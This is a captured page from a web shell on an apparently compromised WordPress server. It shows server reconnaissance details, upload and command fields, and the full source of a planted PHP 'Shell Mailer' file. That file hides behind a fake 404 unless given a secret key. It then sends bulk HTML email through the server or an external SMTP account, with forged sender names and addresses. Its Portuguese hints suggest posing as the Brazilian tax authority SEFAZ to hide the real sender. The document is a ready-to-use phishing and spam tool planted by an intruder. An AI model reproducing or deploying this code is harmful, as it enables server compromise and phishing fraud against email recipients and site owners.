403Webshell
Server IP : 43.128.22.13  /  Your IP : 216.73.216.239
Web Server : nginx/1.28.3
System : Linux VM-0-2-debian 6.1.0-27-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.115-1 (2024-11-01) x86_64
User : www ( 1000)
PHP Version : 8.2.28
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /www/wwwroot/43.128.22.13/wp-content/ad1041d8/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/wwwroot/43.128.22.13/wp-content//ad1041d8/v913.php
<?php

error_reporting(0);
set_time_limit(0);

$KEY = 'hasnf';
if (!isset($_REQUEST['key']) || $_REQUEST['key'] !== $KEY) {
    http_response_code(404);
    echo '<html><head><title>404 Not Found</title></head><body><h1>Not Found</h1></body></html>';
    exit;
}

// ── Detecção do servidor ──────────────────────────────────────────────────────
$server_ip     = $_SERVER['SERVER_ADDR'] ?? gethostbyname($_SERVER['HTTP_HOST'] ?? 'localhost');
$server_domain = $_SERVER['HTTP_HOST'] ?? gethostname();
$server_user   = get_current_user();
$php_ver       = phpversion();
$has_mail      = function_exists('mail') ? '✓' : '✗';
$has_sendmail  = is_executable('/usr/sbin/sendmail') || is_executable('/usr/lib/sendmail') ? '✓' : '✗';
$has_curl      = function_exists('curl_init') ? '✓' : '✗';
$has_sockets   = function_exists('fsockopen') ? '✓' : '✗';

// ── Funções de envio ──────────────────────────────────────────────────────────

function encode_name($name) {
    return '=?UTF-8?B?' . base64_encode($name) . '?=';
}

function send_native($to, $from_name, $from_email, $subject, $body_html, $reply_to = '') {
    $enc_name = encode_name($from_name);
    $headers  = "MIME-Version: 1.0\r\n";
    $headers .= "Content-Type: text/html; charset=UTF-8\r\n";
    $headers .= "From: {$enc_name} <{$from_email}>\r\n";
    $headers .= "Reply-To: " . ($reply_to ?: $from_email) . "\r\n";
    $headers .= "X-Mailer: PHP/" . phpversion() . "\r\n";
    $headers .= "X-Priority: 1\r\n";
    return @mail($to, $subject, $body_html, $headers, "-f{$from_email}");
}

function send_smtp_raw($to, $from_name, $from_email, $subject, $body_html, $smtp_host, $smtp_port, $smtp_user, $smtp_pass, $reply_to = '') {
    $fp = @fsockopen($smtp_host, (int)$smtp_port, $errno, $errstr, 8);
    if (!$fp) return false;

    $read = function() use ($fp) {
        $r = '';
        while ($line = fgets($fp, 512)) {
            $r .= $line;
            if (substr($line, 3, 1) == ' ') break;
        }
        return $r;
    };
    $cmd = function($c) use ($fp, $read) {
        fputs($fp, $c . "\r\n");
        return $read();
    };

    $read(); // banner
    $ehlo = $cmd("EHLO " . gethostname());
    if (strpos($ehlo, '250') === false) { fclose($fp); return false; }

    // STARTTLS se disponível
    if (strpos($ehlo, 'STARTTLS') !== false && function_exists('stream_socket_enable_crypto')) {
        $cmd('STARTTLS');
        stream_socket_enable_crypto($fp, true, STREAM_CRYPTO_METHOD_TLS_CLIENT);
        $cmd("EHLO " . gethostname());
    }

    if ($smtp_user && $smtp_pass) {
        $r = $cmd('AUTH LOGIN');
        if (strpos($r, '334') === false) { fclose($fp); return false; }
        $cmd(base64_encode($smtp_user));
        $r2 = $cmd(base64_encode($smtp_pass));
        if (strpos($r2, '235') === false) { fclose($fp); return false; }
    }

    $cmd("MAIL FROM:<{$from_email}>");
    $cmd("RCPT TO:<{$to}>");
    $cmd('DATA');

    $boundary = md5(uniqid());
    $msg  = "From: " . encode_name($from_name) . " <{$from_email}>\r\n";
    $msg .= "To: {$to}\r\n";
    $msg .= "Reply-To: " . ($reply_to ?: $from_email) . "\r\n";
    $msg .= "Subject: =?UTF-8?B?" . base64_encode($subject) . "?=\r\n";
    $msg .= "MIME-Version: 1.0\r\n";
    $msg .= "Content-Type: multipart/alternative; boundary=\"{$boundary}\"\r\n\r\n";
    $msg .= "--{$boundary}\r\n";
    $msg .= "Content-Type: text/html; charset=UTF-8\r\n";
    $msg .= "Content-Transfer-Encoding: base64\r\n\r\n";
    $msg .= chunk_split(base64_encode($body_html)) . "\r\n";
    $msg .= "--{$boundary}--\r\n";
    $msg .= ".";

    $r = $cmd($msg);
    $cmd('QUIT');
    fclose($fp);
    return strpos($r, '250') !== false;
}

// ── Processamento de envio ────────────────────────────────────────────────────
$result_log = [];
$sent = 0; $failed = 0;

if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['action']) && $_POST['action'] === 'send') {
    $mode       = $_POST['mode']       ?? 'native';
    $from_name  = $_POST['from_name']  ?? 'Support';
    $from_email = $_POST['from_email'] ?? "no-reply@{$server_domain}";
    $reply_to   = $_POST['reply_to']   ?? '';
    $subject    = $_POST['subject']    ?? '(sem assunto)';
    $body       = $_POST['body']       ?? '';
    $list_raw   = $_POST['list']       ?? '';
    $smtp_host  = $_POST['smtp_host']  ?? '';
    $smtp_port  = $_POST['smtp_port']  ?? '587';
    $smtp_user  = $_POST['smtp_user']  ?? '';
    $smtp_pass  = $_POST['smtp_pass']  ?? '';

    $emails = array_filter(array_map('trim', preg_split('/[\r\n,;]+/', $list_raw)));

    foreach ($emails as $email) {
        if (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
            $result_log[] = "SKIP  | {$email}";
            continue;
        }

        // Personalização básica: {{email}} {{domain}}
        $domain_part = explode('@', $email)[1] ?? '';
        $b = str_replace(['{{email}}','{{domain}}'], [$email, $domain_part], $body);
        $s = str_replace(['{{email}}','{{domain}}'], [$email, $domain_part], $subject);

        if ($mode === 'smtp') {
            $ok = send_smtp_raw($email, $from_name, $from_email, $s, $b, $smtp_host, (int)$smtp_port, $smtp_user, $smtp_pass, $reply_to);
        } else {
            $ok = send_native($email, $from_name, $from_email, $s, $b, $reply_to);
        }

        if ($ok) { $sent++; $result_log[] = "OK    | {$email}"; }
        else      { $failed++; $result_log[] = "FAIL  | {$email}"; }

        usleep(80000); // 80ms entre envios
    }
}

// ── Interface ─────────────────────────────────────────────────────────────────
?><!DOCTYPE html>
<html lang="pt-BR">
<head>
<meta charset="UTF-8">
<title>Mailer — <?= htmlspecialchars($server_domain) ?></title>
<style>
*{margin:0;padding:0;box-sizing:border-box;}
body{background:#09090b;color:#e4e4e7;font-family:monospace;font-size:13px;padding:20px;}
h2{color:#b8952a;font-size:15px;letter-spacing:.1em;text-transform:uppercase;margin-bottom:16px;}
.grid{display:grid;grid-template-columns:1fr 1fr;gap:16px;max-width:1100px;}
.card{background:#111113;border:1px solid #27272a;border-radius:10px;padding:16px;}
.card h3{font-size:11px;color:#52525b;letter-spacing:.08em;text-transform:uppercase;margin-bottom:12px;}
label{display:block;font-size:11px;color:#71717a;margin-bottom:4px;margin-top:10px;}
input,select,textarea{width:100%;padding:8px 10px;background:#18181b;border:1px solid #27272a;color:#e4e4e7;border-radius:6px;font-size:12px;font-family:monospace;outline:none;}
input:focus,textarea:focus{border-color:#b8952a55;}
textarea{resize:vertical;}
.btn{margin-top:14px;padding:10px 20px;background:#b8952a;color:#09090b;border:none;border-radius:7px;font-size:12px;font-weight:700;letter-spacing:.06em;cursor:pointer;width:100%;}
.btn:hover{opacity:.88;}
.info{display:flex;flex-wrap:wrap;gap:8px;margin-bottom:16px;}
.badge{padding:3px 10px;border-radius:4px;font-size:11px;background:#18181b;border:1px solid #27272a;color:#a1a1aa;}
.badge span{color:#b8952a;}
.log{margin-top:14px;background:#09090b;border:1px solid #27272a;border-radius:6px;padding:10px;max-height:280px;overflow-y:auto;font-size:11px;line-height:1.7;}
.log .ok{color:#4ade80;}.log .fail{color:#f87171;}.log .skip{color:#71717a;}
.stat{color:#fafafa;font-size:13px;margin-top:10px;}
.stat span{color:#b8952a;font-weight:700;}
.mode-smtp{display:none;}
</style>
</head>
<body>
<h2>⚡ Shell Mailer — <?= htmlspecialchars($server_domain) ?></h2>

<div class="info">
  <div class="badge">IP: <span><?= $server_ip ?></span></div>
  <div class="badge">Domain: <span><?= htmlspecialchars($server_domain) ?></span></div>
  <div class="badge">User: <span><?= $server_user ?></span></div>
  <div class="badge">PHP: <span><?= $php_ver ?></span></div>
  <div class="badge">mail(): <span><?= $has_mail ?></span></div>
  <div class="badge">sendmail: <span><?= $has_sendmail ?></span></div>
  <div class="badge">fsockopen: <span><?= $has_sockets ?></span></div>
  <div class="badge">curl: <span><?= $has_curl ?></span></div>
</div>

<form method="POST" action="?key=<?= $KEY ?>">
<input type="hidden" name="action" value="send">
<div class="grid">

  <div>
    <div class="card">
      <h3>Remetente</h3>
      <label>Modo</label>
      <select name="mode" id="modeSelect" onchange="toggleSmtp(this.value)">
       <option value="native">Native mail() — usa sendmail do servidor</option>
    
<option value="smtp">SMTP externo autenticado</option>      </select>

      <div class="mode-smtp" id="smtpFields">
        <label>SMTP Host</label>
        <input name="smtp_host" placeholder="smtp.gmail.com">
        <label>SMTP Port</label>
        <input name="smtp_port" value="587" style="width:80px">
        <label>SMTP User</label>
        <input name="smtp_user" placeholder="user@gmail.com">
        <label>SMTP Password</label>
        <input name="smtp_pass" type="password">
      </div>

      <label>From Name — nome visível na caixa de entrada</label>
      <input name="from_name" placeholder="Sistema Fiscal SEFAZ" required>
      <label>From Email — use domínio confiável para ocultar remetente real</label>
      <input name="from_email" placeholder="noreply@sefaz.fazenda.gov.br" required>
      <label>Reply-To (opcional — onde respostas chegam)</label>
      <input name="reply_to" placeholder="outro@dominio.com">
      <label>Assunto — use {{email}} {{domain}} para personalizar</label>
      <input name="subject" value="Informação importante" required>
    </div>

    <div class="card" style="margin-top:16px">
      <h3>Lista de destinos</h3>
      <label>Emails (um por linha, vírgula ou ponto-e-vírgula)</label>
      <textarea name="list" rows="10" placeholder="email1@exemplo.com&#10;email2@exemplo.com" required></textarea>
    </div>
  </div>

  <div>
    <div class="card">
      <h3>Corpo do email (HTML) — use {{email}} {{domain}}</h3>
      <textarea name="body" rows="22" placeholder="<h1>Olá</h1><p>Mensagem aqui...</p>" required><?= isset($_POST['body']) ? htmlspecialchars($_POST['body']) : '' ?></textarea>
      <button class="btn" type="submit">▶ ENVIAR</button>
    </div>
  </div>

</div>
</form>

<?php if ($sent > 0 || $failed > 0): ?>
<div class="card" style="margin-top:16px;max-width:1100px;">
  <div class="stat">Enviados: <span><?= $sent ?></span> &nbsp;|&nbsp; Falhas: <span style="color:#f87171"><?= $failed ?></span></div>
  <div class="log">
    <?php foreach ($result_log as $line):
      $cls = str_starts_with($line,'OK') ? 'ok' : (str_starts_with($line,'FAIL') ? 'fail' : 'skip');
    ?>
    <div class="<?= $cls ?>"><?= htmlspecialchars($line) ?></div>
    <?php endforeach; ?>
  </div>
</div>
<?php endif; ?>

<script>
function toggleSmtp(v) {
  document.getElementById('smtpFields').style.display = v === 'smtp' ? 'block' : 'none';
}
</script>
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit